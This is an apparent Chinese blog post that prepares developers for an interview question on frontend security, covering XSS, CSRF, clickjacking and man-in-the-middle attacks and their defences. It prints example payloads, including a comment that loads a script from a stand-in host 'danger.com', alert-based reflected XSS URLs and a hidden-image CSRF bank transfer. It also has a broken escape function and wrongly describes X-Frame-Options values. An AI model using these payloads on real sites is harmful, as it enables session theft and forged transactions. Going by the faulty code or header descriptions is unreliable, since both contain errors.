大家好,我是若川。今天分享一篇安全相关的文章。

点击下方卡片关注我、加个星标,或者查看源码等系列文章。学习源码整体架构系列、年度总结、JS基础系列


如果你被面试官问到这个问题,不要急于描述自己遇到的问题以及如何处理的,你得先去理解问题中的潜台词。“做过哪些措施”更深层的意思是“你熟悉哪些攻击方式,知道哪些解决方案?”当然,不可能把每次做的安全防范措施都一一的说给面试官听, 这样显得没有重点。

「做哪些安全防范」换个思维思考“有哪些攻击方式?”,那么我们就可以基于攻击方式的分类,来讨论究竟有哪些防范攻击的措施。

从而可以梳理出关于这个问题回答的思路:


XSS 攻击

按照之前说的思路,先讲概念,说用途

什么是XSS攻击

XSS即Cross Site Scripting(跨站脚本攻击),指的是攻击者想尽一切办法将一些可执行的代码注入到网页中,利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。为了不和层叠样式表CSS混淆,故将其缩写为 XSS

XSS 可以分为:存储型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。

存储型

存储型也就是攻击的代码被服务端写入进数据库中,这种攻击危害性很大,因为如果网站访问量很大的话,就会导致大量正常访问页面的用户都受到攻击。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。

反射型

反射型也叫非持久型,相比于前者危害就小一些,一般通过修改 URL 参数的方式加入攻击代码,诱导用户访问链接从而进行攻击。

这种常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

二者区别:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

举两个案例帮助更好的理解:当我们在做商品评论时,用户输入的内容未经过过滤直接保存到数据库中。

攻击者可以构建一条评论, 包含恶意内容:

质量非常不错!<script src="danger.com/spread.js"></script>

当你的评论列表被用户浏览时, 直接从服务端取出,回填到HTML响应中:

<li>质量非常不错!<script src="danger.com/spread.js"></script></li>

那么浏览器会加载执行恶意脚本danger.com/spread.js, 在恶意脚本中利用用户的登录状态发更多的带有恶意评论的URL, 诱导更多人点击,层层传播,放大攻击范围。

这个案例就是一个典型的存储型XSS攻击。再来看一个反射型攻击案例:

某天小范开发了一个搜索页面,通过用户输入搜索内容,展示相应的数据:

http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>

有时攻击者会伪造一个图片,让你点击后链接跳转URL。

对于这种攻击方式来说,如果用户使用的是Chrome 浏览器的话,浏览器已经帮助用户做了防御攻击。但是我们也不能说就不防御了,因为无法保证用户都是用有防御攻击的浏览器。

XSS攻击如何进行防范

我们讲了这么XSS的原理和危害,那么我们在日常开发当中到底该如何预防呢?

1.输入输出过滤

一切用户输入皆不可信,在输出时进行验证,一般做法是将 ‘ ” < > & 这些个危险字符进行转义。

const signs = {'&': '&amp','<': '&lt','>': '&gt','"': '&quot',"'": '&#39'
}
const signReg = /[&<>"']/g
function escape(string) {return (string && reUnescapedHtml.test(string))? string.replace(reUnescapedHtml, (chr) =>htmlEscapes[chr]): string}

通过转义<script></script>将被转义成&ltscript&gt&lt/script&gt;

对于URL地址的转义可以使用encodeURI,当你需要编码URL中的参数的时候,那么encodeURIComponent是最好方法。

上面对字符进行转义的方式很明显并不适用于所有场景,比如富文本,这样会将需要的格式都过滤掉。因为HTML标签种类繁多,基于黑名单的过滤方法考虑的并不全面,所以我们可以根据白名单过滤HTML, 可以借助xss.js来完成:

// 浏览器
<script src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>

使用:

filterXSS('<h1 id="title">XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p class="text-center">Whitelist</p>')

输出结果:

<h1>XSS Demo</h1>&lt;script type="text/javascript"&gt;alert(/xss/);&lt;/script&gt;
<p>Whitelist</p>

如果后端直接将字符串存入数据库也是不妥的,后端也必须做处理,因为发送到后端的内容还可以通过其他方式, 前端处理并不能保障安全。

2. Cookie 的 HttpOnly

当用户的登录凭证存储于服务器的 session 中,而在浏览器中是以 cookie 的形式存储的。很多XSS攻击目标都是窃取用户cookie伪造身份认证。

可以通过在 cookie 中设置 HttpOnly 属性,js脚本将无法读取到 cookie 信息。

ctx.cookies.set(name, value, {httpOnly: true // 默认为 true
})

3. CSP(内容安全策略)

CSP (Content Security Policy,内容安全策略)是 W3C 提出的 ,本质上就是白名单制度,开发者明确告诉浏览器哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成,我们只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

两种方法可以启用 CSP:

  • 一种是通过 HTTP 头信息的Content-Security-Policy的字段

  • 另一种是通过网页的<meta>标签

方式1举例

Content-Security-Policy: default-src ‘self’

表示只允许加载本站资源

Content-Security-Policy: default-src https://demo.example.cn https://demo.example2.cn; object-src 'none'

CSP 的值中,不同属性以 ; 隔开,同一属性的多个值以空格隔开。上面例子的意思就是默认允许读取 https://demo.example.cnhttps://cdn.example2.net 的资源,object-src 使用的相关资源无白名单,也就是完全不允许读出。

如果使用了不符合要求的资源,浏览器会给予拦截,给出下面提示:

Refused to execute inline script because it violates the following Content Security Policy directive

我们也可以使用 meta 标签代替 HTTP 头:

<metahttp-equiv="Content-Security-Policy"content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>

Content-Security-Policy 的常用选项有这些:

  • default-src: 是 src 选项的默认值,但不能覆盖以下值:base-uriform-actionframe-ancestorsplugin-typesreport-urisandbox

  • base-uri:特别说一下<base> 标签是因为孤陋寡闻的我第一次见到。指定用于一个文档中包含的所有相对 URL 的根 URL,一个文件只能有一个 <base> 标签,用起来大概是这样的:<base target="_top" href="http://www.example.com/">

  • connect-src: XHR、WebSockets 等连接使用的地址

  • font-src:字体文件来源

  • img-src:图片地址

  • media-src:音视频地址

  • object-src:Flash 相关

  • report-uri:出现报错时提交到指定 uri,不能在  标签使用

  • style-src:样式文件

CSRF 攻击

除了上面说的XSS攻击外,还有一种常见的攻击方式:CSRF攻击。

什么是CSRF攻击

CSRF:跨站点请求伪造(Cross-Site Request Forgeries),也被称为 one-click attack 或者 session riding。冒充用户发起请求(在用户不知情的情况下), 完成一些违背用户意愿的事情(如修改用户信息,删除评论等)。

举个例子,好友小A在银行存有一笔钱,输入用户名密码登录银行账户后,发送请求给xiaofan账户转888:

http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan

转账过程中, 小A不小心打开了一个新页面,进入了黑客(xiaohei)的网站,而黑客网站有如下html代码:

<html><!--其他内容--><img src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei width='0' height='0'><!--其他内容-->
</html>

这个模拟的img请求就会带上小A的session值, 成功的将888转到xiaohei的账户上。例子虽然是get,post请求提交表单同样会被攻击。

CSRF攻击的特点:

  • 通常发生在第三方网站

  • 攻击者不能获取cookie等信息,只是使用

如何防御

  • 验证码:强制用户必须与应用进行交互,才能完成最终请求。此种方式能很好的遏制 CSRF,但是用户体验相对差。

  • 尽量使用 post ,限制 get 使用;上一个例子可见,get 太容易被拿来做 CSRF 攻击,但是 post 也并不是万无一失,攻击者只需要构造一个form就可以。

  • Referer check:请求来源限制,此种方法成本最低,但是并不能保证 100% 有效,因为服务器并不是什么时候都能取到 Referer,而且低版本的浏览器存在伪造 Referer 的风险。

  • token:token 验证的 CSRF 防御机制是公认最合适的方案。

CSRF 与 XSS 区别

通常来说 CSRF 是由 XSS 实现的,CSRF 时常也被称为 XSRF(CSRF 实现的方式还可以是直接通过命令行发起请求等)。

本质上讲,XSS 是代码注入问题,CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie,而一般网站的 session 都存在 cookie里面。XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

点击劫持

点击劫持(click hijacking)也称为 UI 覆盖攻击。它通过一些内容(如游戏)误导被攻击者点击,虽然被攻击者点击的是他所看到的网页,但其实所点击的是另一个置于原网页上面的透明页面。

根据先点击劫持原理示意图,分析典型点击劫持攻击流程:


  • 攻击者构建了一个非常有吸引力的网页

  • 将被攻击的页面放置在当前页面的 iframe 中

  • 使用样式将 iframe 叠加到非常有吸引力内容的上方

  • 将iframe设置为100%透明

  • 用户在不知情的情况下点击按钮,触发执行一些其他命令。

如何防御

点击劫持攻击需要首先将目标网站载入到恶意网站中,使用 iframe 载入网页是最有效的方法。

所以可以设置我们的网页不允许使用iframe被加载到其他网页中就可以避免这种情况了,我们可以通过在响应头中设置X-Frame-Options(服务器端进行),X-Frame-Options可以设置以下三个值:

  1. DEBY:不允许任何网页使用iframe加载我这个页面。

  2. SAMEORIGIN:只允许在相同域名(也就是自己的网站)下使用iframe加载这个页面。

  3. ALLOWED-FROM origin: 允许任何网页通过iframe加载我这个网页。

这种方式在一些老旧的浏览器上是不支持的,具体可以通过can i use去查看

中间人攻击

中间人(Man-in-the-middle attack, MITM)是指攻击者和通讯的两端分别创建独立的联系,并交换其得到的数据,攻击者可以拦截通信双方的通话并插入新的内容。


一般的过程如下:

  • 客户端发送请求到服务端,请求被中间⼈截获

  • 服务器向客户端发送公钥

  • 中间⼈截获公钥,保留在⾃⼰⼿上。然后⾃⼰⽣成⼀个【伪造的】公钥,发给客户端

  • 客户端收到伪造的公钥后,⽣成加密hash值发给服务器

  • 中间⼈获得加密hash值,⽤⾃⼰的私钥解密获得真秘钥,同时⽣成假的加密hash值,发给服务器

  • 服务器⽤私钥解密获得假密钥,然后加密数据传输给客户端

如何防御

采用HTTPS通信可以防御中间人攻击, 但是使用HTTPS并不就绝对安全,一方面你要完全关闭HTTP通信,如果没有完全关闭,攻击者可以通过某些方式将HTTPS 降级为HTTP,从而实现中间人攻击。

其次使用HTTPS通信,开发时也不要忽视证书的校验,或者对于非法证书不进行处理,这样也容易被中间人攻击。这里给大家推荐文章 HTTPS中间人攻击实践(原理•实践)

为什么有些软件如Fiddler可以还原https报文?

Fiddler是通过中间代理的方式抓取报文,还原https报文的前提是在客户端的根证书列表下加入Fiddler生成的CA根证书。这样Fiddler就成为CA,可以伪造数字证书,伪装成服务器。但是只能用于测试,不能实现真正意义上的窃取数据。

总结

以上是我们平时开发过程中一些常见的前端安全方面的知识以及我们应该如何防御这些攻击。但是安全的领域相当大,这些内容只是沧海一粟,如果需要深入学习安全防御方面的知识,这是远远不够的。

参考文章:

https://juejin.cn/post/6844904100945985543#heading-10

http://www.atguigu.com/mst/html/gp/17649.html

https://wurh.github.io/2019/03/29/20190401/

https://www.cabeza.cn/blog/2019/05/14/web-security-xss/


最近组建了一个江西人的前端交流群,如果你也是江西人可以加我微信 ruochuan12 拉你进群。


················· 若川出品 ·················

今日话题

略。欢迎在下方留言~  欢迎分享、收藏、点赞、在看我的公众号文章~

一个愿景是帮助5年内前端人走向前列的公众号

可加我个人微信 ruochuan12,长期交流学习

推荐阅读

我在阿里招前端,我该怎么帮你?(现在还能加我进模拟面试群)

若川知乎问答:2年前端经验,做的项目没什么技术含量,怎么办?

点击方卡片关注我、加个星标,或者查看源码等系列文章。
学习源码整体架构系列、年度总结、JS基础系列

面试官问:你在项目中做过哪些安全防范措施?相关推荐

  1. 【Java8新特性】面试官问我:Java8中创建Stream流有哪几种方式?

    写在前面 先说点题外话:不少读者工作几年后,仍然在使用Java7之前版本的方法,对于Java8版本的新特性,甚至是Java7的新特性几乎没有接触过.真心想对这些读者说:你真的需要了解下Java8甚至以 ...

  2. 面试官问:你们项目中用Redis来干什么?

    你好,我是田哥 面试中,被问到Redis问题的概率非常高,如果问一些理论性的问题,相信你只要背背八股文就能搞定,但,如果结合项目来问就没那么好对付了. 这里给你推荐一个在线刷java面试题的神器: w ...

  3. 面试官问我new Vue阶段做了什么?

    前言 本篇录入吊打面试官专栏,希望能祝君拿下Offer一臂之力,各位看官感兴趣可移步

  4. 【分布式事务】面试官问我:MySQL中的XA事务崩溃了如何恢复??

    写在前面 前段时间搭建了一套MySQL分布式数据库集群,数据库节点有12个,用来测试各种分布式事务方案的性能和优缺点.测试MySQL XA事务时,正当测试脚本向数据库中批量插入数据时,强制服务器断电! ...

  5. 【059期】面试官问:序列化是什么,为什么要序列化,如何实现?

    >>号外:关注"Java精选"公众号,回复"面试资料",免费领取资料!"Java精选面试题"小程序,3000+ 道面试题在线刷, ...

  6. 【067期】面试官问:说说常见的加密算法、原理、优缺点及用途?

    >>号外:关注"Java精选"公众号,回复"面试资料",免费领取资料!"Java精选面试题"小程序,3000+ 道面试题在线刷, ...

  7. 后处理程序文件大小的变量_【每日一题】(17题)面试官问:JS中事件流,事件处理程序,事件对象的理解?...

    关注「松宝写代码」,精选好文,每日一题 作者:saucxs | songEagle 2020,实「鼠」不易 2021,「牛」转乾坤 风劲潮涌当扬帆,任重道远须奋蹄! 一.前言 2020.12.23 立 ...

  8. .jar中没有主清单属性_面试官问:为什么SpringBoot的 jar 可以直接运行?

    点击上方蓝色字体,选择"设为星标" 优质文章,及时送达 来源 | https://urlify.cn/uQvIna SpringBoot提供了一个插件spring-boot-mav ...

  9. 面试官问你想找什么工作_找工作时如何面试面试官

    面试官问你想找什么工作 在技​​术面试中要问的十二个问题 (Twelve questions to ask at tech interviews) I've just come off six wee ...

  10. java执行sql文件_面试官问你MyBatis SQL是如何执行的?把这篇文章甩给他

    初识 MyBatis MyBatis 是第一个支持自定义 SQL.存储过程和高级映射的类持久框架.MyBatis 消除了大部分 JDBC 的样板代码.手动设置参数以及检索结果.MyBatis 能够支持 ...

最新文章

  1. 关于HtmlParser中Parser【org.htmlparser.Parser】这个类奇怪的地方...求解释【已获得解释】...
  2. 【任务脚本】0522更新京东618叠蛋糕任务脚本,京东任务自动程序
  3. ThreadLocal是救火队长
  4. 计算机一级115,计算机一级BASIC模拟115.doc
  5. 关于Hibernate
  6. 限定概率抽奖_LOL:欧皇一次抽奖得16个永久皮肤 把老马亏得坐公交啦
  7. AJAX无刷新搜索,即输即得(未完善…)
  8. 在'for'循环中获取索引
  9. 19_01访问权限修饰符
  10. Visual Studio配置(4):项目属性页-VC++目录
  11. Android中添加CallStack
  12. 利用matlab信号带宽,测量均值频率、功率、带宽
  13. 云计算安全需求分析与网络
  14. 手机微信发语音没有声音
  15. 移动端手机 摇一摇加声音
  16. 服务名无效。 请键入 NET HELPMSG 2185 以获得更多的帮助。
  17. 第十届蓝桥杯省赛原题及参考答案
  18. GNS3 安装图解 简单易学 多操作几遍就能记住
  19. 一个简单的100以内的猜字游戏
  20. IT项目管理复习题目整理一

热门文章

  1. SPI 总线3-line、4-line的定义
  2. python(3):文件操作/os库
  3. 人生苦难重重,如何解决人生的问题?| 读《少有人走的路:心智成熟的旅程》
  4. 2.(leaflet篇)leaflet加载接入百度地图
  5. 山东大学暑期实训——智能人物画像综合分析系统
  6. 浅析密码测评的重要性(附密码产品和功能测评技术实施方法)
  7. np.stack()函数详解
  8. C语言 将大写字母转换为小写字母
  9. 环洋市场咨询:全球EMS和ODM收入预计2028年达到7978.5亿美元
  10. 安全生产计算机考试成绩查询,安全生产在线模拟考试成绩查询